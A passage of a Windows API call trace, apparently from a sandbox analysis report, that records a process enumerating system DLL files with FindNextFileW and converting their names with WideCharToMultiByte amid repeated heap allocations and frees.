lpWideCharStr="ACTIONCENTER.DLL", cchWideChar=16, lpMultiByteStr=0x94c288, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIONCENTER.DLL", lpUsedDefaultChar=0x0) returned 16 [0038.337] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.337] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.337] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.337] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e950) returned 1 [0038.337] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e8c8) returned 1 [0038.337] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3c5da79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3c5da79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3c5da79, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x83400, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="ActionCenterCPL.dll", cAlternateFileName="")) returned 1 [0038.337] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e8c8 [0038.337] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e950 [0038.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTERCPL.DLL", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0038.337] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTERCPL.DLL", cchWideChar=19, lpMultiByteStr=0x94c120, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIONCENTERCPL.DLL", lpUsedDefaultChar=0x0) returned 19 [0038.337] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.337] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.337] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.338] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e950) returned 1 [0038.338] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e8c8) returned 1 [0038.338] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9adf355b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9adf355b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ae196bb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x31800, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="activeds.dll", cAlternateFileName="")) returned 1 [0038.338] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e8c8 [0038.338] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e950 [0038.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIVEDS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.338] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIVEDS.DLL", cchWideChar=12, lpMultiByteStr=0x94c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIVEDS.DLL", lpUsedDefaultChar=0x0) returned 12 [0038.338] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.338] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.338] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.338] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e950) returned 1 [0038.338] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e8c8) returned 1 [0038.338] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a81bf79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a81bf79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a8420d9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4ba00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="actxprxy.dll", cAlternateFileName="")) returned 1 [0038.338] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e8c8 [0038.338] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e950 [0038.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTXPRXY.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.338] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTXPRXY.DLL", cchWideChar=12, lpMultiByteStr=0x94c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTXPRXY.DLL", lpUsedDefaultChar=0x0) returned 12 [0038.338] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.338] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.338] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.338] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e950) returned 1 [0038.338] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e8c8) returned 1 [0038.338] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa343f8c0, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xa343f8c0, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7d856840, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="admparse.dll", cAlternateFileName="")) returned 1 [0038.338] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e8c8 [0038.338] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e950 [0038.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMPARSE.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.338] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMPARSE.DLL", cchWideChar=12, lpMultiByteStr=0x94c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADMPARSE.DLL", lpUsedDefaultChar=0x0) returned 12 [0038.338] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.338] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.339] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.339] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e950) returned 1 [0038.339] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e8c8) returned 1 [0038.339] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1c6129e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1c6129e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1c873fe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6b000, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="AdmTmpl.dll", cAlternateFileName="")) returned 1 [0038.339] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e8c8 [0038.339] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e950 [0038.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMTMPL.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.339] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMTMPL.DLL", cchWideChar=11, lpMultiByteStr=0x94c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADMTMPL.DLL", lpUsedDefaultChar=0x0) returned 11 [0038.339] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.339] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.339] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.339] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e950) returned 1 [0038.339] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e8c8) returned 1 [0038.339] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2f573ca, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe2f573ca, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dbea0b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc200, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="adprovider.dll", cAlternateFileName="")) returned 1 [0038.339] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e8c8 [0038.339] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e950 [0038.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADPROVIDER.DLL", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0038.339] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADPROVIDER.DLL", cchWideChar=14, lpMultiByteStr=0x94c288, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 14 [0038.339] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.339] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.339] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.339] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e950) returned 1 [0038.339] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e8c8) returned 1 [0038.339] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b68a4f3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b68a4f3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b68a4f3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2da00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="adsldp.dll", cAlternateFileName="")) returned 1 [0038.339] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e8c8 [0038.339] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e950 [0038.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDP.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.339] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDP.DLL", cchWideChar=10, lpMultiByteStr=0x94c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSLDP.DLL", lpUsedDefaultChar=0x0) returned 10 [0038.339] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.339] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.340] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.340] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e950) returned 1 [0038.340] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e8c8) returned 1 [0038.340] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9f1b122, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xf9f1b122, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dccd180, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x31800, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="adsldpc.dll", cAlternateFileName="")) returned 1 [0038.340] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e8c8 [0038.340] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e950 [0038.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDPC.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.340] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDPC.DLL", cchWideChar=11, lpMultiByteStr=0x94c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSLDPC.DLL", lpUsedDefaultChar=0x0) returned 11 [0038.340] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.340] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.340] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.340] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e950) returned 1 [0038.340] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e8c8) returned 1 [0038.340] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf66b897d, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xf66b897d, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dccd180, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12e00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="adsmsext.dll", cAlternateFileName="")) returned 1 [0038.340] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e8c8 [0038.340] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e950 [0038.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSMSEXT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.340] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSMSEXT.DLL", cchWideChar=12, lpMultiByteStr=0x94c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSMSEXT.DLL", lpUsedDefaultChar=0x0) returned 12 [0038.340] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.340] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.340] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.340] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e950) returned 1 [0038.340] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e8c8) returned 1 [0038.340] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfad634c2, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xfad634c2, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dcf4280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3fa00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="adsnt.dll", cAlternateFileName="")) returned 1 [0038.340] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e8c8 [0038.340] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e950 [0038.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSNT.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0038.340] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSNT.DLL", cchWideChar=9, lpMultiByteStr=0x94c288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSNT.DLL", lpUsedDefaultChar=0x0) returned 9 [0038.340] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.340] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.341] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.341] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e950) returned 1 [0038.341] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e8c8) returned 1 [0038.341] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fc81ff4, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2fc81ff4, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf1def050, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa6200, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="adtschema.dll", cAlternateFileName="")) returned 1 [0038.341] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e8c8 [0038.341] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e950 [0038.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADTSCHEMA.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0038.341] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADTSCHEMA.DLL", cchWideChar=13, lpMultiByteStr=0x94c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADTSCHEMA.DLL", lpUsedDefaultChar=0x0) returned 13 [0038.341] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.341] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.341] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.341] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e950) returned 1 [0038.341] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e8c8) returned 1 [0038.341] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b0c6f80, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b0c6f80, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b0ed0e0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9c600, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="advapi32.dll", cAlternateFileName="")) returned 1 [0038.341] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e8c8 [0038.341] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e950 [0038.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVAPI32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.341] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVAPI32.DLL", cchWideChar=12, lpMultiByteStr=0x94c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADVAPI32.DLL", lpUsedDefaultChar=0x0) returned 12 [0038.341] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.341] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.341] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.341] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e950) returned 1 [0038.341] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e8c8) returned 1 [0038.341] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0777c0d, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xa0777c0d, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7de49f40, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1ee00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="advpack.dll", cAlternateFileName="")) returned 1 [0038.341] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e8c8 [0038.341] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e950 [0038.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVPACK.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.341] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVPACK.DLL", cchWideChar=11, lpMultiByteStr=0x94c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADVPACK.DLL", lpUsedDefaultChar=0x0) returned 11 [0038.341] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.342] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.342] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.342] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e950) returned 1 [0038.342] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e8c8) returned 1 [0038.342] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e862c71, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x5e862c71, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x7de71040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="aecache.dll", cAlternateFileName="")) returned 1 [0038.342] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e8c8 [0038.342] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e950 [0038.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AECACHE.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, 